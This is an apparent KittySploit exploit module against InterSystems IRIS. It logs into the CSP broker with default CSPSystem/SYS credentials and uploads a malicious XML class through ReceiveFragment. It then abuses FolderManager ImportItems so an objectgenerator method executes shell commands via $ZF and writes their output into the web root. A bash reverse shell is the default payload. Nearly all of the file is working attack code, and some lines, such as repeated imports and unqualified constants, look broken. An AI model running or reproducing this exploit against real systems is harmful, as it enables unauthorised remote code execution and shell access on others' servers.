InterSystems IRIS FolderManager Property Injection RCE

"""InterSystems IRIS FolderManager Property Injection RCE"""
from __future__ import annotations
from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client
from urllib.parse import urlparse
import http.client
import os
import re
import requests
import sys
import time
import json
import urllib.parse
import http.client
import sys
import os
import re
import time
import http.client
from urllib.parse import urlparse
import requests

class Broker:
    """Minimal CSP broker client for ICM (InvokeClassMethod) and IIM
    (InvokeInstanceMethod) calls against a Zen page, authenticated as
    CSPSystem."""

    def __init__(self, host, port, page, use_ssl=False, user='CSPSystem', password='SYS', timeout=60):
        self.host = host
        self.port = port
        scheme = 'https' if use_ssl else 'http'
        if scheme == 'http' and port == 80 or (scheme == 'https' and port == 443):
            self.base_url = f'{scheme}://{host}'
        else:
            self.base_url = f'{scheme}://{host}:{port}'
        self.page = page
        self.page_url = self.base_url + page
        self.broker_url = self.base_url + '/csp/sys/%CSP.Broker.cls'
        self.referer = self.page_url
        self.timeout = timeout
        self.user = user
        self.password = password
        self.s = requests.Session()
        self.s.auth = (user, password)
        self.s.verify = False
        self.cspchd = self._seed_cspchd()

    def _seed_cspchd(self):
        """GET the Zen page once to obtain a fresh CSPCHD token."""
        r = self.s.get(self.page_url, timeout=self.timeout)
        html = r.text
        m = re.search('CSPCHD=([A-Za-z0-9_$]+)', html)
        return m.group(1) if m else ''

    def _icm(self, class_name, method, spec, args_json):
        """InvokeClassMethod: call a static [ZenMethod] on class_name."""
        header = f'{class_name}{C4}0{C1}0'
        data = {'WARGC': '6', 'WEVENT': '', 'WARG_1': '0', 'WARG_2': method, 'WARG_3': spec, 'WARG_4': '0', 'WARG_5': header, 'WARG_6': args_json, 'CSPCHD': self.cspchd}
        r = self.s.post(self.broker_url, data=data, headers={'Referer': self.referer}, timeout=self.timeout)
        return (r.status_code, r.text)

    def receive_fragment(self, target_name, content):
        """ICM svgImageProvider.ReceiveFragment: write `content` to
        /usr/irissys/mgr/Temp/<target_name> via the proxyObject part+code."""
        proxy = f'{{"svgImageProvider":{{"ReceiveFragment":{{"part":1,"code":"{content}","target":"{target_name}"}}}}}}'
        return self._icm('svgImageProvider', 'ReceiveFragment', 'L,O', proxy)

class Module(Exploit, Http_client, Handler):
    __info__ = {'name': 'InterSystems IRIS FolderManager Property Injection RCE', 'description': 'InterSystems IRIS FolderManager Property Injection RCE', 'author': ['KittySploit Team'], 'platform': Platform.MULTI, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['intersystems', 'rce', 'authenticated'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 4, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/iris_foldermanager_rce_detect']}}}
    WEBROOT = '/usr/irissys/csp/sys/'
    TEMP_DIR = '/usr/irissys/mgr/Temp/'
    C1 = chr(1)
    C2 = chr(2)
    C4 = chr(4)
    port = OptPort(52773, 'IRIS web port', required=True)
    ssl = OptBool(False, 'Use HTTPS', required=False)
    zen_page = OptString('/csp/sys/%25DeepSee.UI.FolderManager.cls', 'Zen FolderManager page path', required=False)
    username = OptString('CSPSystem', 'CSP broker user', required=False)
    password = OptString('SYS', 'CSP broker password', required=False)

    def _rand_name(self, prefix='rce', ext='css'):
        """Generate a random static file name to avoid collisions."""
        return f'{prefix}{int(time.time() * 1000) % 1000000}.{ext}'

    def _os_escape_for_objectscript(self, cmd):
        """Escape a shell command for safe embedding in an ObjectScript double-quoted
    string literal. In ObjectScript, a double quote inside a string is doubled.
    Backslashes are NOT escape chars in ObjectScript strings, so they pass through.
    """
        return cmd.replace('"', '""')

    def build_payload_xml(self, os_cmd, out_static_file, classname):
        """Build the malicious IRIS XML export.

    generator body:
      1. $ZF(-100,"","/bin/sh","-c","<os_cmd> > <out_static_file> 2>&1")
         runs the command and redirects stdout+stderr to the webroot static file.
      2. Writes a diagnostic marker (rc + $ZE) to /tmp/<basename>.diag for debugging.
    """
        redirect = f'{{ {os_cmd} ; }} > {out_static_file} 2>&1'
        redirect_esc = self._os_escape_for_objectscript(redirect)
        diag_file = '/tmp/' + os.path.basename(out_static_file) + '.diag'
        diag_esc = diag_file.replace('"', '""')
        body = f' Set tSC=$ZF(-100,"","/bin/sh","-c","{redirect_esc}")\n Open "{diag_esc}":"WNU":0\n If $T {{ Use "{diag_esc}" Write "rc="_tSC_" ZE="_$ZE Close "{diag_esc}" }}\n Quit $$$OK\n'
        return f'<?xml version="1.0" encoding="UTF-8"?>\n<Export generator="IRIS" version="26">\n<Class name="{classname}">\n<Super>%RegisteredObject</Super>\n<TimeCreated>61203,29408.203384</TimeCreated>\n<Method name="Gen">\n<ClassMethod>1</ClassMethod>\n<CodeMode>objectgenerator</CodeMode>\n<FormalSpec></FormalSpec>\n<ReturnType>%Status</ReturnType>\n<Implementation><![CDATA[\n{body}]]></Implementation>\n</Method>\n</Class>\n</Export>\n'

    def _anonymous_get(self, url, retries=8, initial_delay=1.0):
        """Anonymous HTTP GET to retrieve the webroot static file (command output).
    Uses http.client directly (NOT urllib) to avoid the system HTTP proxy which
    would intercept localhost requests and return 502. Retries on 502/503 for
    transient backend busy periods.
    """
        p = urlparse(url)
        host = p.hostname
        port = p.port or 80
        path = p.path or '/'
        delay = initial_delay
        last_err = None
        for attempt in range(retries):
            time.sleep(delay)
            try:
                conn = http.client.HTTPConnection(host, port, timeout=15)
                conn.request('GET', path, headers={'Accept': '*/*'})
                resp = conn.getresponse()
                data = resp.read()
                code = resp.status
                conn.close()
                if code in (502, 503, 504):
                    last_err = f'HTTP {code}'
                    delay = min(delay + 0.5, 4.0)
                    continue
                if code != 200:
                    return f'[!] GET returned HTTP {code}'
                return data.decode('utf-8', errors='replace')
            except Exception as e:
                last_err = str(e)
                delay = min(delay + 0.5, 4.0)
        return f'[!] GET failed after {retries} retries: {last_err}'

    def run_command(self, b, os_cmd, xml_tgt, classname, static_url_path, static_fs_path):
        """Execute one OS command end-to-end:
       write XML -> ReceiveFragment -> IIM ImportItems -> anonymous GET output.
    Returns (success: bool, output: str).
    """
        xml = self.build_payload_xml(os_cmd, static_fs_path, classname)
        r = b.receive_fragment(xml_tgt, xml)
        if '200' not in str(r):
            return (False, f'[!] ReceiveFragment failed: {r}')
        CRC = 3432320972
        pieces = [''] * 86
        pieces[0] = str(CRC)
        pieces[1] = '1'
        pieces[25] = self.TEMP_DIR
        pieces[74] = self.C2.join([xml_tgt])
        pbody = self.C1.join(pieces)
        r = b.s.get(b.page_url, timeout=b.timeout)
        html = r.text

        def _fn_body(name):
            idx = html.find(f'function {name}(')
            if idx < 0:
                return None
            start = html.find('{', idx)
            depth = 0
            i = start
            while i < len(html):
                if html[i] == '{':
                    depth += 1
                elif html[i] == '}':
                    depth -= 1
                    if depth == 0:
                        return html[idx:i + 1]
                i += 1
            return None
        im = _fn_body('zenInstanceMethod')
        m = re.search('csp(?:Http|CallHttp)ServerMethod\\("([^"]+)"', im)
        iim_tok = m.group(1)
        m2 = re.search('CSPCHD=([A-Za-z0-9_$]+)', html)
        b.cspchd = m2.group(1)
        header = f'%DeepSee.UI.FolderManager{self.C4}1{self.C1}1'
        data = {'WARGC': '10', 'WEVENT': iim_tok, 'WARG_1': '1', 'WARG_2': 'ImportItems', 'WARG_3': 'S', 'WARG_4': '0', 'WARG_5': header, 'WARG_6': pbody, 'WARG_7': '', 'WARG_8': '', 'WARG_9': '%SYS', 'WARG_10': '0', 'CSPCHD': b.cspchd}
        r = b.s.post(b.broker_url, data=data, headers={'Referer': b.referer}, timeout=60)
        body = r.text
        m = re.search('#OK\\r?\\n(.*)$', body, re.S)
        msg = m.group(1).strip() if m else body[-300:]
        if '1 item(s) imported' not in msg:
            return (False, f'[!] ImportItems did not import: status={r.status_code} msg={msg!r}')
        output = self._anonymous_get(static_url_path)
        return (True, output)

    def _broker(self) -> Broker:
        host = str(getattr(self, 'target', None) or getattr(self, 'rhost', None) or '')
        return Broker(host, int(self.port or 52773), str(self.zen_page or '/csp/sys/%25DeepSee.UI.FolderManager.cls'), use_ssl=bool(self.ssl), user=str(self.username or 'CSPSystem'), password=str(self.password or 'SYS'))

    def execute(self, cmd: str) -> str:
        b = self._broker()
        xml_tgt = self._rand_name('xml', 'xml')
        classname = 'RCE' + str(int(time.time()) % 100000)
        static_name = self._rand_name('out', 'css')
        static_fs = self.WEBROOT + static_name
        host = str(getattr(self, 'target', None) or getattr(self, 'rhost', None) or '')
        port = int(self.port or 52773)
        scheme = 'https' if bool(self.ssl) else 'http'
        if scheme == 'http' and port == 80 or (scheme == 'https' and port == 443):
            base = f'{scheme}://{host}'
        else:
            base = f'{scheme}://{host}:{port}'
        static_url = f'{base}/csp/sys/{static_name}'
        ok, output = self.run_command(b, cmd, xml_tgt, classname, static_url, static_fs)
        if not ok:
            return output
        if output.startswith('[!]'):
            return output
        return f'ImportItems OK; command output via static file:\n{output[:4000]}'

    def check(self):
        b = self._broker()
        if b.cspchd:
            return {'vulnerable': True, 'reason': 'FolderManager Zen page + CSPCHD token', 'confidence': 'medium'}
        return {'vulnerable': False, 'reason': 'Cannot reach FolderManager page', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('ReceiveFragment → ImportItems objectgenerator $ZF')
        print_info(self.execute(shell))
        self.vulnerable()
        probe = self.execute('id')
        if probe and re.search('uid=\\d+', probe):
            print_success('Reflective id in static output')
        return True